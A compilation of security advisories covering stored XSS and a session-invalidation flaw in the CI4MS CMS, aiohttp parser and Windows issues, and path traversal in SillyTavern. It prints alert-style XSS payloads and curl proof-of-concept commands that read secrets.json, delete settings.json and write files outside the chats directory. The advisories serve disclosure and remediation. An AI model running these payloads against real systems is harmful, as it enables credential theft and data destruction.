CI4MS: Account Deletion Module Grants Full Persistent Unauthorized Access for All‑Roles via Improper Session Invalidation (Logic Flaw)

[Severity: HIGH]

## Summary
### Vulnerability: Improper Session Invalidation on Account Deletion (Broken Access Control / Logic Flaw)
- This vulnerability is caused by a backend logic flaw that maintains a false trust assumption that already-authenticated users remain trustworthy, even after their accounts are explicitly deleted. As a result, administrative security actions do not behave as intended, allowing persistent unauthorized access.

### Description
The application fails to immediately revoke active user sessions when an account is **deleted**. Due to a logic flaw in the backend design, account state changes are enforced only during authentication (login), not for already-established sessions.

The system implicitly assumes that authenticated users remain trusted for the lifetime of their session. There is no session expiration or account expiration mechanism in place, causing deleted accounts to retain indefinite access until the user manually logs out. This behavior breaks the intended access control policy and results in persistent unauthorized access, representing a critical security flaw.

### Affected Functionality
- User session management and authentication logic
- Account **deletion** mechanism
- All authenticated endpoints, including administrative and content interfaces

### Attack Scenario
- A user logs into the application.
- An administrator **deletes** the user account.
- The user remains fully logged in and can continue performing all actions allowed by their role indefinitely, as there is no session expiration.
- The user can continue invoking backend methods, triggering application actions, accessing sensitive interfaces (including user management if permitted), and interacting with the system as if the account were still active.
- Access is only lost if the user manually logs out, which may never occur.

### Impact
- **Unauthorized Continued Access:** Deleted users retain full access indefinitely, violating intended access control and expected security behavior.
- **Bypass of Administrative Controls:** Administrative actions (**deletion**) fail to immediately restrict active sessions.
- **Logic Flaw Resulting in Broken Behavior:** Backend authorization logic relies on a flawed trust assumption that authenticated users remain valid, enforcing account state only at login.
- **Full Functional Access Retained:** Deleted users can continue invoking application methods, executing actions, interacting with protected endpoints, and using the system exactly as before deletion.
- **Privilege Abuse:** Users with elevated roles (moderator, editor, administrator) can continue performing privileged actions after account deletion, including accessing user management interfaces and modifying application state.
- **Service Disruption Potential:** Persistent access allows attackers to disrupt services, manipulate content, or interfere with normal application operations.
- **Attack Persistence:** Attackers can maintain access indefinitely, increasing the risk of data exfiltration, unauthorized modifications, or further privilege escalation.
- **False Sense of Remediation:** Administrators may believe a threat has been mitigated while the deleted user remains active within the system.

**Endpoint Example:** Any endpoint accessible to authenticated users, including dashboards, administrative interfaces, user management pages, and API endpoints.

## Steps To Reproduce (PoC)
1. Create or use an existing user account.
2. Log into the application using this account.
3. From an administrative account, **delete** the logged-in user account.
4. Observe that the target user remains authenticated.
5. Verify that the user can still access protected functionality, invoke actions, and interact with the application as before.
6. Confirm that the user only loses access after manually logging out (if they choose to do so).

## Remediation
- Immediately invalidate all active sessions when an account is **deleted**.
- Enforce account status checks on every authenticated request, not only during login.
- Introduce proper session expiration or account expiration mechanisms to prevent indefinite access.
- Correct the backend logic flaw to ensure access control behavior aligns with intended security design and does not rely on unsafe trust assumptions.

# Ready Video POC:
https://mega.nz/file/7dlUTQAB#0oXOapF5XYN4DRRG1xYj6DajmuP72MpMdsHqbVBMmWw


CI4MS: Blogs Categories Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS

[Severity: CRITICAL]

## Summary
### **Vulnerability: Stored DOM XSS via Blog Category Title (Persistent Payload Injection)**
- Stored Cross-Site Scripting via Unsanitized Blog Category Title in Blog Management

### Description
The application fails to properly sanitize user-controlled input when creating or editing blog categories. An attacker can inject a malicious JavaScript payload into the category title field, which is then stored server-side.

This stored payload is later rendered unsafely across public-facing blog category pages, administrative interfaces, and blog post views without proper output encoding, leading to stored cross-site scripting (XSS).

### Affected Functionality
- Blog category creation functionality
- Blog category editing functionality
- Blog category storage and retrieval logic

### Attack Scenario
- An attacker creates or edits a blog category title to include a malicious XSS payload.
- The application stores this value without sanitization or encoding.
- The payload persists and executes whenever the category title is rendered in affected views.

### Impact
- Persistent Stored XSS
- Execution of arbitrary JavaScript in victims’ browsers
- Privilege escalation when viewed by administrators or privileged users
- Full administrator account takeover
- Full account takeover across all roles
- Full compromise of the entire application

Endpoints:
- `/backend/blogs/categories/`
- `/blog/{id}`

## Steps To Reproduce (POC)
1. Go to the Blog Categories management page
2. Create or edit a category and insert an XSS payload into the category title such as:
`<img src=x onerror=alert(document.domain)>`
3. Save the category
4. View a public blog category page, blog post page, or the administrative interface
5. Notice the XSS payload executing automatically

## Remediation

- **Avoid unsafe DOM manipulation methods:** Do not use `.html()`, `innerHTML`, or similar sink functions in client-side JavaScript or server-side templating (e.g., PHP). Even when user input flowing into these sinks is not immediately apparent, they can introduce Cross-Site Scripting (XSS) vulnerabilities that an attacker may exploit.

- **Apply output encoding:** Implement HTML entity encoding on all user-controlled data before rendering it in the browser. This helps neutralize potentially malicious input.

- **Implement input sanitization:** Ensure that all user-supplied input is properly sanitized before processing or output. Currently, no sanitization mechanisms are in place, which should be addressed as a priority.

- **Enforce security headers and cookie attributes:**
  - **Content Security Policy (CSP):** Define and enforce a strict CSP to limit the execution of unauthorized scripts.
  - **HttpOnly flag:** Set the `HttpOnly` attribute on session cookies to prevent client-side script access.
  - **SameSite attribute:** Configure the `SameSite` cookie attribute to mitigate Cross-Site Request Forgery (CSRF) risks.
  - **Secure flag:** Ensure all cookies are transmitted only over HTTPS by enabling the `Secure` attribute.

  These measures collectively reduce the impact of XSS and help prevent escalation paths such as CSRF via XSS.

# Ready Video POC:
https://mega.nz/file/GAFC3AJY#3LHyuyl7I7921UEeA-JlUYdckh6zGLCTy-6w9BNzSmQ


CI4MS: Blogs Posts (Categories) Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS

[Severity: CRITICAL]

# Summary
### **Vulnerability: Blogs Posts (Categories) Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS**
- Stored Cross-Site Scripting via Unsanitized Blog Post Content in Blog Management (Categories)

### Description
The application fails to properly sanitize user-controlled input when creating or editing blog posts within the **Categories** section. An attacker can inject a malicious JavaScript payload into the **Categories** content, which is then stored server-side.

This stored payload is later rendered unsafely when the **Categories** are viewed via blog posts, without proper output encoding, leading to stored cross-site scripting (XSS).

### Affected Functionality
- Blog post **Categories** creation functionality
- Blog post **Categories** editing functionality
- Blog post **Categories** storage and retrieval logic

### Attack Scenario
- An attacker creates or edits a blog post **Category** to include a malicious XSS payload in the category description or name.
- The application stores this content without sanitization or encoding.
- The payload persists and executes whenever the category is viewed within the blog posts section, leading to the execution of arbitrary JavaScript in the victim’s browser.

### Impact
- Persistent Stored XSS
- Execution of arbitrary JavaScript in victims’ browsers
- Privilege escalation when viewed by administrators or privileged users within the **Categories** functionality
- Full administrator account takeover through **Categories** access
- Full account takeover across all roles via **Categories** pages
- Full compromise of the entire application via XSS in **Categories**

**Endpoints:**
- `/backend/blogs/create` (Categories specific)
- `/backend/blogs/` (Categories view)
- `/blog/{id}` (Rendered blog post under Categories)

## Steps To Reproduce (POC)
1. Go to the **Categories** section of the blog management panel.
2. Create a new category or edit an existing category.
3. Insert an XSS payload into the category content, such as:
`<img src=x onerror=alert(document.domain)>`
4. Save or publish the Categories.
5. View the category via the blog posts in the administrative panel or public blog page under the Categories section.
6. Notice the XSS payload executing automatically when the Category is viewed in the Blog Posts.

## Remediation

- **Avoid unsafe DOM manipulation methods:** Do not use `.html()`, `innerHTML`, or similar sink functions in client-side JavaScript or server-side templating (e.g., PHP). Even when user input flowing into these sinks is not immediately apparent, they can introduce Cross-Site Scripting (XSS) vulnerabilities that an attacker may exploit.

- **Apply output encoding:** Implement HTML entity encoding on all user-controlled data before rendering it in the browser. This helps neutralize potentially malicious input.

- **Implement input sanitization:** Ensure that all user-supplied input is properly sanitized before processing or output. Currently, no sanitization mechanisms are in place, which should be addressed as a priority.

- **Enforce security headers and cookie attributes:**
  - **Content Security Policy (CSP):** Define and enforce a strict CSP to limit the execution of unauthorized scripts.
  - **HttpOnly flag:** Set the `HttpOnly` attribute on session cookies to prevent client-side script access.
  - **SameSite attribute:** Configure the `SameSite` cookie attribute to mitigate Cross-Site Request Forgery (CSRF) risks.
  - **Secure flag:** Ensure all cookies are transmitted only over HTTPS by enabling the `Secure` attribute.

  These measures collectively reduce the impact of XSS and help prevent escalation paths such as CSRF via XSS.

# Ready Video POC:
https://mega.nz/file/SAdVxK7b#kFW_sFOim_d_1AnVcpwvzOEV4MHv33LLooL4Xa_Ymgg


CI4MS: Pages Management Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS

[Severity: CRITICAL]

## Summary
### **Vulnerability: Stored DOM XSS via Page Management Fields (Persistent Payload Injection)**
- Stored Cross-Site Scripting via Unsanitized Page Creation and Editing Inputs

### Description
The application fails to properly sanitize user-controlled input within the **Page Management** functionality when creating or editing pages. Multiple input fields accept attacker-controlled JavaScript payloads that are stored server-side.

These stored values are later rendered without proper output encoding across administrative page lists and public-facing page views, leading to stored DOM-based cross-site scripting (XSS).

### Affected Functionality
- Page creation functionality
- Page editing functionality
- Page list and management views
- Public-facing page rendering
- Storage and retrieval of page-related data

### Affected Fields
- Title
- URL
- Content
- Cover Image
- Image URL
- Image Width
- Image Height
- SEO Description
- SEO Keywords

### Attack Scenario
- An attacker creates or edits a page and injects a malicious XSS payload into one or more page-related input fields.
- The application stores these values without sanitization or encoding.
- The payload is rendered in administrative page lists and public-facing page views.
- The payload executes automatically in the browser context of administrators, authenticated users, and unauthenticated visitors.

### Impact
- Persistent Stored XSS
- Execution of arbitrary JavaScript in victims’ browsers
- Privilege escalation when viewed by administrators or privileged users
- Full administrator account takeover
- Full account takeover across all roles
- Full compromise of the entire application

Endpoints:
- `/backend/pages/create`
- Page list management view
- Public-facing page views

## Steps To Reproduce (POC)
1. Navigate to the Page Management -> Add Page interface
2. Insert an XSS payload into any page-related field such as:
`<img src=x onerror=alert(document.domain)>`
3. Save or publish the page
4. View the page via the administrative page list or public-facing page
5. Observe the XSS payload executing automatically

## Remediation

- **Avoid unsafe DOM manipulation methods:** Do not use `.html()`, `innerHTML`, or similar sink functions in client-side JavaScript or server-side templating (e.g., PHP). Even when user input flowing into these sinks is not immediately apparent, they can introduce Cross-Site Scripting (XSS) vulnerabilities that an attacker may exploit.

- **Apply output encoding:** Implement HTML entity encoding on all user-controlled data before rendering it in the browser. This helps neutralize potentially malicious input.

- **Implement input sanitization:** Ensure that all user-supplied input is properly sanitized before processing or output. Currently, no sanitization mechanisms are in place, which should be addressed as a priority.

- **Enforce security headers and cookie attributes:**
  - **Content Security Policy (CSP):** Define and enforce a strict CSP to limit the execution of unauthorized scripts.
  - **HttpOnly flag:** Set the `HttpOnly` attribute on session cookies to prevent client-side script access.
  - **SameSite attribute:** Configure the `SameSite` cookie attribute to mitigate Cross-Site Request Forgery (CSRF) risks.
  - **Secure flag:** Ensure all cookies are transmitted only over HTTPS by enabling the `Secure` attribute.

  These measures collectively reduce the impact of XSS and help prevent escalation paths such as CSRF via XSS.

# Ready Video POC:
https://mega.nz/file/iAkWAKQY#hCUv4DlMPFykPvb4gO94ZVGj64tpUk99gLxE6u1kASk


CI4MS: Menu Management (Posts) Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS

[Severity: CRITICAL]

## Summary
### **Vulnerability: Stored DOM XSS via Posts Added to Menu (Persistent Payload Injection)**
- Stored Cross-Site Scripting via Unsafe Rendering of Post Entries in Menu Management

### Description
The application fails to properly sanitize user-controlled input when **adding Posts to navigation menus** through the Menu Management functionality. Post-related data selected via the Posts section is stored server-side and rendered without proper output encoding.

These stored values are later rendered unsafely within administrative dashboards and public-facing navigation menus, resulting in stored DOM-based cross-site scripting (XSS).

### Affected Functionality
- Menu Management – Posts section
- Adding posts to navigation menus
- Menu storage and rendering logic

### Attack Scenario
- An attacker creates or controls a post containing a malicious JavaScript payload.
- The attacker adds the post to the menu using the **Posts** functionality in Menu Manager.
- The application stores the menu entry without sanitization or encoding.
- The payload persists and executes whenever the menu is rendered.

### Impact
- Persistent Stored DOM XSS
- Execution of arbitrary JavaScript in victims’ browsers
- Privilege escalation in administrative contexts
- Full administrator account takeover
- Full account takeover across all roles
- Full compromise of the entire application via global navigation execution

Endpoint:
- `/backend/menu/`

## Steps To Reproduce (POC)
1. Navigate to Menu Management
2. Use the **Posts** section to add a post containing an XSS payload such as:
`<img src=x onerror=alert(document.domain)>`
3. Save the menu
4. View the menu in the administrative panel or any public-facing page
5. Observe the JavaScript payload executing automatically

## Remediation

- **Avoid unsafe DOM manipulation methods:** Do not use `.html()`, `innerHTML`, or similar sink functions in client-side JavaScript or server-side templating (e.g., PHP). Even when user input flowing into these sinks is not immediately apparent, they can introduce Cross-Site Scripting (XSS) vulnerabilities that an attacker may exploit.

- **Apply output encoding:** Implement HTML entity encoding on all user-controlled data before rendering it in the browser. This helps neutralize potentially malicious input.

- **Implement input sanitization:** Ensure that all user-supplied input is properly sanitized before processing or output. Currently, no sanitization mechanisms are in place, which should be addressed as a priority.

- **Enforce security headers and cookie attributes:**
  - **Content Security Policy (CSP):** Define and enforce a strict CSP to limit the execution of unauthorized scripts.
  - **HttpOnly flag:** Set the `HttpOnly` attribute on session cookies to prevent client-side script access.
  - **SameSite attribute:** Configure the `SameSite` cookie attribute to mitigate Cross-Site Request Forgery (CSRF) risks.
  - **Secure flag:** Ensure all cookies are transmitted only over HTTPS by enabling the `Secure` attribute.

  These measures collectively reduce the impact of XSS and help prevent escalation paths such as CSRF via XSS.

# Ready Video POC:
https://mega.nz/file/PcMiUA5K#L2RlZJa340Q8K42TksxiXMuo_9XsRYPi14-WvBnak2A


CI4MS: Menu Management (Pages) Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS

[Severity: CRITICAL]

## Summary
### **Vulnerability: Stored DOM XSS via Pages Added to Menu (Persistent Payload Injection)**
- Stored Cross-Site Scripting via Unsafe Rendering of Page Entries in Menu Management

### Description
The application fails to properly sanitize user-controlled input when **adding Pages to navigation menus** through the Menu Management functionality. Page-related data selected via the Pages section is stored server-side and rendered without proper output encoding.

This stored payload is later rendered unsafely within administrative interfaces and public-facing navigation menus, leading to stored DOM-based cross-site scripting (XSS).

### Affected Functionality
- Menu Management – Pages section
- Adding pages to navigation menus
- Menu storage and rendering logic

### Attack Scenario
- An attacker creates or controls a page containing a malicious JavaScript payload.
- The attacker adds the page to the menu using the **Pages** functionality in Menu Manager.
- The application stores the menu entry without sanitization or encoding.
- The payload persists and executes whenever the menu is rendered in administrative or public-facing interfaces.

### Impact
- Persistent Stored DOM XSS
- Execution of arbitrary JavaScript in victims’ browsers
- Privilege escalation when viewed by administrators or privileged users
- Full administrator account takeover
- Full account takeover across all roles via the navigation menu
- Full compromise of the entire application due to global execution in the navigation menu

**Endpoint:**
- `/backend/menu/`

## Steps To Reproduce (POC)
1. Navigate to the **Menu Management** section of the application.
2. Use the **Pages** functionality to add a page containing an XSS payload such as:
`<img src=x onerror=alert(document.domain)>`
3. Save the menu entry.
4. View the menu in the administrative panel or any public-facing page.
5. Observe the JavaScript payload executing automatically when the menu is rendered.

## Remediation

- **Avoid unsafe DOM manipulation methods:** Do not use `.html()`, `innerHTML`, or similar sink functions in client-side JavaScript or server-side templating (e.g., PHP). Even when user input flowing into these sinks is not immediately apparent, they can introduce Cross-Site Scripting (XSS) vulnerabilities that an attacker may exploit.

- **Apply output encoding:** Implement HTML entity encoding on all user-controlled data before rendering it in the browser. This helps neutralize potentially malicious input.

- **Implement input sanitization:** Ensure that all user-supplied input is properly sanitized before processing or output. Currently, no sanitization mechanisms are in place, which should be addressed as a priority.

- **Enforce security headers and cookie attributes:**
  - **Content Security Policy (CSP):** Define and enforce a strict CSP to limit the execution of unauthorized scripts.
  - **HttpOnly flag:** Set the `HttpOnly` attribute on session cookies to prevent client-side script access.
  - **SameSite attribute:** Configure the `SameSite` cookie attribute to mitigate Cross-Site Request Forgery (CSRF) risks.
  - **Secure flag:** Ensure all cookies are transmitted only over HTTPS by enabling the `Secure` attribute.

  These measures collectively reduce the impact of XSS and help prevent escalation paths such as CSRF via XSS.
# Ready Video POC:
https://mega.nz/file/2c8lHSBQ#vwFDj0vhq7vLwMJjBjnAgbHWiIdFqUxAA913H_yQExQ


CI4MS: Backup Management Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM Blind XSS

[Severity: CRITICAL]

## Summary
### **Vulnerability: Stored DOM Blind XSS via Backup Management Filename (Persistent Payload Injection)**
- Stored Cross-Site Scripting (Blind XSS) via Unsanitized Backup Filename in Backup Management

### Description
The application fails to properly sanitize user-controlled input when handling backup uploads and processing backup metadata. An attacker can inject a malicious JavaScript payload into the backup filename via the uploaded `xss.sql`, which uses SQL functionality to insert the XSS payload server-side.

This stored payload is later rendered unsafely in multiple backup management views without proper output encoding, leading to stored blind cross-site scripting (Blind XSS).

### Affected Functionality
- Backup upload functionality
- Backup processing functionality
- Backup storage and retrieval logic

### Attack Scenario
- An attacker uploads `xss.sql` which uses SQL functionality to insert a malicious XSS payload into the backup filename field server-side.
- The application stores this filename without sanitization or encoding.
- The payload persists and executes whenever the backup filename is rendered in affected views.
- The attacker does not see immediate execution, making this a Blind XSS scenario that triggers only when an administrator or privileged user views the backup management panel.

### Impact
- Persistent Stored Blind XSS
- Execution of arbitrary JavaScript in victims’ browsers
- Privilege escalation when viewed by administrators or privileged users
- Full administrator account takeover
- Full account takeover across all roles
- Full compromise of the entire application

Endpoints:
- `/backend/backup/upload`
- `/backend/backup/`
- `/backup/{id}`

## Steps To Reproduce (POC)
1. Upload `xss.sql` via the Backup Upload functionality
2. Ensure the SQL executes and inserts an XSS payload into the backup filename field such as:
`<img src=x onerror=alert(document.domain)>`
3. Navigate to the Backup Management panel as an administrator
4. View the backup entry via the administrative panel
5. Notice the XSS payload executing automatically (Blind XSS)

## Remediation

- **Avoid unsafe DOM manipulation methods:** Do not use `.html()`, `innerHTML`, or similar sink functions in client-side JavaScript or server-side templating (e.g., PHP). Even when user input flowing into these sinks is not immediately apparent, they can introduce Cross-Site Scripting (XSS) vulnerabilities that an attacker may exploit.

- **Apply output encoding:** Implement HTML entity encoding on all user-controlled data before rendering it in the browser. This helps neutralize potentially malicious input.

- **Implement input sanitization:** Ensure that all user-supplied input is properly sanitized before processing or output. Currently, no sanitization mechanisms are in place, which should be addressed as a priority.

- **Enforce security headers and cookie attributes:**
  - **Content Security Policy (CSP):** Define and enforce a strict CSP to limit the execution of unauthorized scripts.
  - **HttpOnly flag:** Set the `HttpOnly` attribute on session cookies to prevent client-side script access.
  - **SameSite attribute:** Configure the `SameSite` cookie attribute to mitigate Cross-Site Request Forgery (CSRF) risks.
  - **Secure flag:** Ensure all cookies are transmitted only over HTTPS by enabling the `Secure` attribute.

  These measures collectively reduce the impact of XSS and help prevent escalation paths such as CSRF via XSS.

# Ready Video POC:
https://mega.nz/file/eNFXgAAA#IETbPcKwr5vVLqJIAdc3uy4qgcVTgyPb_2HhB4zcwAE


CI4MS: System Settings (Company Information) Full Platform Compromise & Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS

[Severity: MEDIUM]

## Summary
### **Vulnerability: Stored DOM XSS via System Settings – Company Information (Same-Page Attribute Breakout & Persistent Payload Injection)**
- Stored Cross-Site Scripting via Unsanitized Company Information Configuration Fields with Immediate Same-Page Execution

### Description
The application fails to properly sanitize user-controlled input within **System Settings – Company Information**. Several administrative configuration fields accept attacker-controlled input that is stored server-side and later rendered without proper output encoding.

Affected fields include, but are not limited to:
1. Company Name
2. Slogan
3. Company Phone
4. Company Mobile
5. Company Email
6. Google Maps iframe link
7. Company Logo and other media-related fields

Unlike the public-facing landing page injection vulnerability, this issue executes directly on the same settings page. The injected payload breaks out of the HTML attribute context and is immediately interpreted by the browser when rendered, resulting in same-page DOM-based stored XSS.

This represents different functionality and a separate vulnerability from public-facing rendering.

### Affected Functionality
- System Settings – Company Information configuration
- Same-page rendering of user-controlled input fields
- DOM attribute injection within form inputs
- Storage and retrieval of company information values

### Attack Scenario
- An attacker injects a malicious JavaScript payload into one or more Company Information fields.
- The payload breaks out of the HTML attribute context.
- The application stores and re-renders the payload without sanitization or encoding.
- The payload executes immediately on the same settings page.
- The script executes in the browser context of the authenticated user managing settings.

### Impact
- Persistent Stored XSS
- Immediate Same-Page DOM XSS execution
- Execution of arbitrary JavaScript in victims’ browsers
- Administrative privilege escalation
- Full administrator account takeover
- Full account takeover across all roles
- Full compromise of the entire platform

Endpoints:
- `/backend/settings/` (Company Information)

## Steps To Reproduce (POC)
1. Navigate to System Settings -> Company Information
2. Insert the following XSS payload into any Company Information field:
`test"><img src=1 onerror=alert()>" class="form-control" placeholder="Name" required>`
3. Save the settings
4. Observe that the payload breaks out of the input attribute context
5. The XSS executes immediately on the same page

## Remediation

- **Avoid unsafe DOM manipulation methods:** Do not use `.html()`, `innerHTML`, or similar sink functions in client-side JavaScript or server-side templating (e.g., PHP). Even when user input flowing into these sinks is not immediately apparent, they can introduce Cross-Site Scripting (XSS) vulnerabilities that an attacker may exploit.

- **Apply output encoding:** Implement HTML entity encoding on all user-controlled data before rendering it in the browser. This helps neutralize potentially malicious input.

- **Implement input sanitization:** Ensure that all user-supplied input is properly sanitized before processing or output. Currently, no sanitization mechanisms are in place, which should be addressed as a priority.

- **Enforce security headers and cookie attributes:**
  - **Content Security Policy (CSP):** Define and enforce a strict CSP to limit the execution of unauthorized scripts.
  - **HttpOnly flag:** Set the `HttpOnly` attribute on session cookies to prevent client-side script access.
  - **SameSite attribute:** Configure the `SameSite` cookie attribute to mitigate Cross-Site Request Forgery (CSRF) risks.
  - **Secure flag:** Ensure all cookies are transmitted only over HTTPS by enabling the `Secure` attribute.

  These measures collectively reduce the impact of XSS and help prevent escalation paths such as CSRF via XSS.

# Ready Video POC:
https://mega.nz/file/qEcFUIjR#2OKX78JgPQI2x5957GE-vx1zYzJv2a9JqjyBsrRFBkk


CI4MS: System Settings (Social Media Management) Full Platform Compromise & Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS

[Severity: MEDIUM]

## Summary
### **Vulnerability: Stored DOM XSS via System Settings – Social Media Management (Same-Page Attribute Breakout & Persistent Payload Injection)**
- Stored Cross-site Scripting via Unsanitized Social Media Configuration Fields with Immediate Same-Page Execution

### Description
The application fails to properly sanitize user-controlled input within **System Settings – Social Media Management**. Multiple configuration fields, including **Social Media** and **Social Media Link**, accept attacker-controlled input that is stored server-side and later rendered without proper output encoding.

Unlike typical stored XSS that executes on other pages (such as public-facing landing pages), this vulnerability executes directly on the same settings page. The injected payload breaks out of the input attribute context and is immediately interpreted by the browser, resulting in same-page DOM-based XSS.

This represents a different functionality and a separate vulnerability class from public-facing landing page injection.

### Affected Functionality
- System Settings – Social Media Management configuration
- Same-page rendering of user-controlled input fields
- DOM attribute injection within form inputs
- Storage and retrieval of social media configuration values

### Attack Scenario
- An attacker injects a malicious JavaScript payload into one or more Social Media Management fields.
- The payload breaks out of the HTML attribute context.
- The application stores and re-renders the payload without sanitization or encoding.
- The payload executes immediately on the same settings page when rendered.
- The script executes in the browser context of the authenticated user managing settings.

### Impact
- Persistent Stored XSS
- Immediate Same-Page DOM XSS execution
- Execution of arbitrary JavaScript in victims’ browsers
- Administrative privilege escalation
- Full administrator account takeover
- Full account takeover across all roles
- Full compromise of the entire platform

Endpoints:
- `/backend/settings/` (Social Media Management)

## Steps To Reproduce (POC)
1. Navigate to System Settings -> Social Media Management
2. Insert the following XSS payload into any Social Media or Social Media Link field:
`test"><img src=1 onerror=alert()>" class="form-control" placeholder="Name" required>`
3. Save the settings
4. Observe that the payload breaks out of the input attribute context
5. The XSS executes immediately on the same page

## Remediation

- **Avoid unsafe DOM manipulation methods:** Do not use `.html()`, `innerHTML`, or similar sink functions in client-side JavaScript or server-side templating (e.g., PHP). Even when user input flowing into these sinks is not immediately apparent, they can introduce Cross-Site Scripting (XSS) vulnerabilities that an attacker may exploit.

- **Apply output encoding:** Implement HTML entity encoding on all user-controlled data before rendering it in the browser. This helps neutralize potentially malicious input.

- **Implement input sanitization:** Ensure that all user-supplied input is properly sanitized before processing or output. Currently, no sanitization mechanisms are in place, which should be addressed as a priority.

- **Enforce security headers and cookie attributes:**
  - **Content Security Policy (CSP):** Define and enforce a strict CSP to limit the execution of unauthorized scripts.
  - **HttpOnly flag:** Set the `HttpOnly` attribute on session cookies to prevent client-side script access.
  - **SameSite attribute:** Configure the `SameSite` cookie attribute to mitigate Cross-Site Request Forgery (CSRF) risks.
  - **Secure flag:** Ensure all cookies are transmitted only over HTTPS by enabling the `Secure` attribute.

  These measures collectively reduce the impact of XSS and help prevent escalation paths such as CSRF via XSS.

# Ready Video POC:
https://mega.nz/file/PBEFBCpJ#rGGxjnPN38qDtmJssAgIoLuStBcQaZFpR0J1bKAXApc


AIOHTTP's C parser (llhttp) accepts null bytes and control characters in response header values - header injection/security bypass

[Severity: LOW]

### Summary

The C parser (the default for most installs) accepted null bytes and control characters is response headers.

### Impact

An attacker could send header values that are interpreted differently than expected due to the presence of control characters. For example, `request.url.origin()` may return a different value than the raw Host header, or what a reverse proxy interpreted it as., potentially resulting in some kind of security bypass.

-----

Patch: https://github.com/aio-libs/aiohttp/commit/9370b9714a7a56003cacd31a9b4ae16eab109ba4


SillyTavern: Path Traversal in `/api/chats/export` and `/api/chats/delete` allows arbitrary file read/delete within user data root

[Severity: HIGH]

## Summary
A Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example `secrets.json` and `settings.json`) by supplying `avatar_url=".."`.

### Details
The input validator used by `avatar_url` blocks only `/` and NUL bytes, but does not block traversal segments like `..`.

Evidence:
- Weak validator regex (does not reject `..`):
  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/middleware/validateFileName.js#L24-L27>
- Vulnerable delete path construction:
  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L575-L577>
- Vulnerable export path construction:
  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L595-L598>
- Endpoint auth context (authenticated user access):
  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239>

Because `avatar_url=".."` is accepted, `path.join(<user>/chats, "..")` resolves to `<user>/`, enabling direct access to files outside the chats directory.

### PoC
Prerequisites:
- Valid authenticated session cookie (`cookie.txt`)
- Valid CSRF token (`$TOKEN`)

Read sensitive file (`secrets.json`):

```bash
curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \
  -d '{"avatar_url":"..","is_group":false,"file":"secrets.json","format":"jsonl","exportfilename":"x"}' \
  http://TARGET:8000/api/chats/export
```

Delete sensitive file (`settings.json`):

```bash
curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \
  -d '{"avatar_url":"..","chatfile":"settings.json"}' \
  http://TARGET:8000/api/chats/delete
```

### Impact
- Confidentiality: exposed per-user secrets and config data.
- Integrity/Availability: attacker can delete critical per-user files and break account operation.
- Risk is significant in multi-user or remotely reachable deployments.

### Resolution

The issue was addressed in version 1.17.0


SillyTavern has a path traversal in `/api/chats/import` allows arbitrary file write outside intended chat directory

[Severity: HIGH]

### Summary
A path traversal vulnerability in `/api/chats/import` allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into `character_name`.

### Details
`character_name` is used unsafely as part of the destination filename and then passed into `path.join(...)` without sanitization.

Evidence:
- Import handler entrypoint:
  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L680-L686>
- Unsanitized `character_name` used in output filename:
  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L719-L723>
- Same write pattern in JSONL import branch:
  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L759-L766>
- Endpoint auth context (authenticated user access):
  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239>

Example payload:
- `character_name=../../../../tmp/st_poc`

This causes the final destination path to escape from `<user>/chats/<avatar>/...` and write to an attacker-controlled location such as `/tmp/...` (or any writable path for the service account).

### PoC
Prerequisites:
- Valid authenticated session cookie (`cookie.txt`)
- Valid CSRF token (`$TOKEN`)

Prepare payload:

```bash
printf '{"user_name":"u","chat_metadata":{}}\n{"name":"u","mes":"owned"}\n' >/tmp/poc.jsonl
```

Trigger arbitrary write:

```bash
curl -b cookie.txt -H "x-csrf-token: $TOKEN" \
  -F "avatar=@/tmp/poc.jsonl" \
  -F "file_type=jsonl" \
  -F "avatar_url=a.png" \
  -F "character_name=../../../../tmp/st_poc" \
  -F "user_name=u" \
  http://TARGET:8000/api/chats/import
```

Observed result:
- A file is created outside chats directory, for example:
  `/tmp/st_poc - <timestamp> imported.jsonl`

### Impact
- Integrity: attacker can create files in unintended filesystem locations.
- Availability: can be used for disk abuse and disruptive file placement.
- Can become more severe when chained with other local processing behaviors.

### Resolution

The issue was addressed in version 1.17.0


AIOHTTP affected by UNC SSRF/NTLMv2 Credential Theft/Local File Read in static resource handler on Windows

[Severity: MEDIUM]

### Summary

On Windows the static resource handler may expose information about a NTLMv2 remote path.

### Impact

If an application is running on Windows, and using aiohttp's static resource handler (not recommended in production), then it may be possible for an attacker to extract the hash from an NTLMv2 path and then extract the user's credentials from there.

-----

Patch: https://github.com/aio-libs/aiohttp/commit/0ae2aa076c84573df83fc1fdc39eec0f5862fe3d


Claude SDK for TypeScript: Memory Tool Path Validation Allows Sandbox Escape to Sibling Directories

[Severity: MEDIUM]

